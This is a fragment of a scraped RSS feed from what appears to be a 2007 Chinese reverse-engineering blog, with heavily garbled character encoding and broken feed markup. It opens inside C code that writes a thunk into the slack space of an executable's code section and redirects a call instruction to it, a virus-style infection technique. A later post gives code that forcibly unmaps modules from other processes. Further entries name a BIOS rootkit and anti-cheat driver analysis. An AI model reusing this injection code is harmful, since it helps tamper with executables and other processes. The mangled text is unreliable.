            pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                            (DWORD)pMapping+
                                            pImageSectionHeader->Misc.VirtualSize) ;
           
            OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                        pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

            MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

            //修改为当前系l的MessageBoxA地址
            for (i=3;i>=0;i--)
            {
                thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
                x -= 8 ;
            }
            x = 24 ;
           
            vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
           
            pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                        (DWORD)pMapping) ;
                       
            //:::搜烦call指o(h)(0xe8)
            for (i=0;i<vir_len;i++)
            {
                if (pSearch[i]==0xe8)
                {
                    dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                    dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                    dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                    dwJmpVA = (DWORD)dwJmpAddr-
                                ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                pImageNtHeaders->OptionalHeader.ImageBase+
                                pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                    dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

                    if ((*dwJmpAddr&0xffff)==0x25ff)
                    {
                        dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                        *dwCallDataAddr = dwCodeDistance ;
                        for (i=3;i>=0;i--)
                        {
                            thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
                            x -= 8 ;
                        }
                        for (i=0;i<sizeof(thunkcode);i++)
                        {
                            pGapEntry[i] = thunkcode[i] ;
                        }
                        break ;
                    }
                }
               
            }
           
        }
    }

Close:
    UnmapViewOfFile(pMapping) ;
    CloseHandle(hMap) ;
    CloseHandle(hFile) ;
   
    return 0 ;
}

叶子 2007-10-08 14:21 发表评论
]]>
利用NtUnmapViewOfSection强制卸蝲模块 http://m.shnenglu.com/elva/archive/2007/09/24/32788.html叶子叶子Mon, 24 Sep 2007 07:08:00 GMThttp://m.shnenglu.com/elva/archive/2007/09/24/32788.htmlhttp://m.shnenglu.com/elva/comments/32788.htmlhttp://m.shnenglu.com/elva/archive/2007/09/24/32788.html#Feedback1http://m.shnenglu.com/elva/comments/commentRss/32788.htmlhttp://m.shnenglu.com/elva/services/trackbacks/32788.html[1]  PEB的模块列表中q存在该模块的记录,大部分模块枚丑և数都是枚举这个列?br>[2]  可能?x)出现访问异?br>
看来RING3下是不可能做到强制卸载模块的完美实现Q要qring0才行。下面是试代码
typedef ULONG (WINAPI *PFNNtUnmapViewOfSection)( IN HANDLE ProcessHandle,IN PVOID BaseAddress );

BOOL UnmapViewOfModule ( DWORD dwProcessId, LPVOID lpBaseAddr )
{
    HMODULE hModule 
= GetModuleHandle ( L"ntdll.dll" ) ;
    
if ( hModule == NULL )
        hModule 
= LoadLibrary ( L"ntdll.dll" ) ;

    PFNNtUnmapViewOfSection pfnNtUnmapViewOfSection 
= (PFNNtUnmapViewOfSection)GetProcAddress ( hModule, "NtUnmapViewOfSection" ) ;
    
    HANDLE hProcess 
= OpenProcess ( PROCESS_ALL_ACCESS, TRUE, dwProcessId ) ;
    ULONG    ret 
= pfnNtUnmapViewOfSection ( hProcess, lpBaseAddr ) ;
    CloseHandle ( hProcess ) ;
    
return ret ? false : true ;
}



叶子 2007-09-24 15:08 发表评论
]]>
BIOS Rootkit:Welcome home,my Lord!http://m.shnenglu.com/elva/archive/2007/05/23/24706.html叶子叶子Wed, 23 May 2007 11:35:00 GMThttp://m.shnenglu.com/elva/archive/2007/05/23/24706.htmlhttp://m.shnenglu.com/elva/comments/24706.htmlhttp://m.shnenglu.com/elva/archive/2007/05/23/24706.html#Feedback0http://m.shnenglu.com/elva/comments/commentRss/24706.htmlhttp://m.shnenglu.com/elva/services/trackbacks/24706.html阅读全文

叶子 2007-05-23 19:35 发表评论
]]>
Do all in one exe file Under Win32 http://m.shnenglu.com/elva/archive/2007/05/23/24705.html叶子叶子Wed, 23 May 2007 11:12:00 GMThttp://m.shnenglu.com/elva/archive/2007/05/23/24705.htmlhttp://m.shnenglu.com/elva/comments/24705.htmlhttp://m.shnenglu.com/elva/archive/2007/05/23/24705.html#Feedback0http://m.shnenglu.com/elva/comments/commentRss/24705.htmlhttp://m.shnenglu.com/elva/services/trackbacks/24705.html阅读全文

叶子 2007-05-23 19:12 发表评论
]]>
扭曲变换加密http://m.shnenglu.com/elva/archive/2007/05/15/24147.html叶子叶子Tue, 15 May 2007 05:17:00 GMThttp://m.shnenglu.com/elva/archive/2007/05/15/24147.htmlhttp://m.shnenglu.com/elva/comments/24147.htmlhttp://m.shnenglu.com/elva/archive/2007/05/15/24147.html#Feedback0http://m.shnenglu.com/elva/comments/commentRss/24147.htmlhttp://m.shnenglu.com/elva/services/trackbacks/24147.html阅读全文

叶子 2007-05-15 13:17 发表评论
]]>
syser 实战一(分析 nprotect ?dump_wmimmc.sys)http://m.shnenglu.com/elva/archive/2007/05/14/24081.html叶子叶子Sun, 13 May 2007 17:08:00 GMThttp://m.shnenglu.com/elva/archive/2007/05/14/24081.htmlhttp://m.shnenglu.com/elva/comments/24081.htmlhttp://m.shnenglu.com/elva/archive/2007/05/14/24081.html#Feedback0http://m.shnenglu.com/elva/comments/commentRss/24081.htmlhttp://m.shnenglu.com/elva/services/trackbacks/24081.html阅读全文

叶子 2007-05-14 01:08 发表评论
]]>
打造最的PE文ghttp://m.shnenglu.com/elva/archive/2007/05/14/24077.html叶子叶子Sun, 13 May 2007 16:46:00 GMThttp://m.shnenglu.com/elva/archive/2007/05/14/24077.htmlhttp://m.shnenglu.com/elva/comments/24077.htmlhttp://m.shnenglu.com/elva/archive/2007/05/14/24077.html#Feedback0http://m.shnenglu.com/elva/comments/commentRss/24077.htmlhttp://m.shnenglu.com/elva/services/trackbacks/24077.html阅读全文

叶子 2007-05-14 00:46 发表评论
]]>
手工打造微型Win32可执行文?/title><link>http://m.shnenglu.com/elva/archive/2007/05/14/24076.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Sun, 13 May 2007 16:45:00 GMT</pubDate><guid>http://m.shnenglu.com/elva/archive/2007/05/14/24076.html</guid><wfw:comment>http://m.shnenglu.com/elva/comments/24076.html</wfw:comment><comments>http://m.shnenglu.com/elva/archive/2007/05/14/24076.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.shnenglu.com/elva/comments/commentRss/24076.html</wfw:commentRss><trackback:ping>http://m.shnenglu.com/elva/services/trackbacks/24076.html</trackback:ping><description><![CDATA[     摘要:   <a href='http://m.shnenglu.com/elva/archive/2007/05/14/24076.html'>阅读全文</a><img src ="http://m.shnenglu.com/elva/aggbug/24076.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.shnenglu.com/elva/" target="_blank">叶子</a> 2007-05-14 00:45 <a href="http://m.shnenglu.com/elva/archive/2007/05/14/24076.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <p>лǵվܻԴȤ</p> <a href="http://m.shnenglu.com/" title="精品视频久久久久">精品视频久久久久</a> <div class="friend-links"> </div> </div> </footer> <a href="http://www.desktx.cn" target="_blank">ó˾þAvѸ </a>| <a href="http://www.jinxing168.net.cn" target="_blank">þۺϺݺۺϾþ97ɫ</a>| <a href="http://www.elzx.com.cn" target="_blank">99ھƷþþþþþ</a>| <a href="http://www.shairproperty.cn" target="_blank">91Ʒɫ۾þ</a>| <a href="http://www.woyaopeizi.cn" target="_blank">˾þó˳ۺ222</a>| <a href="http://www.eberan.cn" target="_blank">þþþ뾫Ʒ</a>| <a href="http://www.etcaisn.cn" target="_blank">91Ʒþþþþù۲ </a>| <a href="http://www.v0008.cn" target="_blank">þþƷ2020</a>| <a href="http://www.zgyuantong.com.cn" target="_blank">þùŷպƷ </a>| <a href="http://www.mrzqjn.cn" target="_blank">AVպAVþ</a>| <a href="http://www.z2023.cn" target="_blank">һĻþ</a>| <a href="http://www.67335.com.cn" target="_blank">þþƷȫۿ</a>| <a href="http://www.bttzc.cn" target="_blank">ľƷþþþùַ</a>| <a href="http://www.fly5.com.cn" target="_blank">ĻþþƷ</a>| <a href="http://www.ikdianying.cn" target="_blank">þˬˬAVƬ</a>| <a href="http://www.suntiepu.cn" target="_blank">þ99Ʒþþþþhb</a>| <a href="http://www.y5xx.cn" target="_blank">ŷձþþƷ</a>| <a href="http://www.huishou399.cn" target="_blank">2020þþƷ</a>| <a href="http://www.barf1.com.cn" target="_blank">þþƷһWWW</a>| <a href="http://www.cnwowshell.cn" target="_blank">þþƷƷƾ</a>| <a href="http://www.ynxcm.cn" target="_blank">þøݾƷԴվ</a>| <a href="http://www.vhro.cn" target="_blank">vaþþþúݺ</a>| <a href="http://www.gwuq.cn" target="_blank">޹Ʒľþþ</a>| <a href="http://www.shinehall.cn" target="_blank">91ƷùۺϾþ</a>| <a href="http://www.91hid.cn" target="_blank">ݺɫþþһ </a>| <a href="http://www.123yo.cn" target="_blank">þ91Ʒ91</a>| <a href="http://www.qcbijj.cn" target="_blank">ŷպƷþþѹۿ</a>| <a href="http://www.ycqdzgov.cn" target="_blank">þþƷ </a>| <a href="http://www.beo.net.cn" target="_blank">þ99Ʒþþþþþþþ</a>| <a href="http://www.gzzmlhlaw.cn" target="_blank">޾þˬ˾Ʒ </a>| <a href="http://www.icrms.org.cn" target="_blank">˾þô߽AV</a>| <a href="http://www.elishe.cn" target="_blank">þwww˳_Ƭ </a>| <a href="http://www.bmims01.cn" target="_blank">þþƷĻһ</a>| <a href="http://www.lepinw.cn" target="_blank">ղƷþþþþþ</a>| <a href="http://www.bjnyjdxcj.cn" target="_blank">޾Ʒþþþ66</a>| <a href="http://www.jrsddk.cn" target="_blank">þþwww˳</a>| <a href="http://www.zl6688.com.cn" target="_blank">þ99Ʒһ</a>| <a href="http://www.zgpojie.cn" target="_blank">avھƷþþþӰԺ</a>| <a href="http://www.vf369.cn" target="_blank">þ99Ʒ</a>| <a href="http://www.ylcq185.cn" target="_blank">þҹӰ</a>| <a href="http://www.dmbetter.cn" target="_blank">ҹƷƬþ</a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>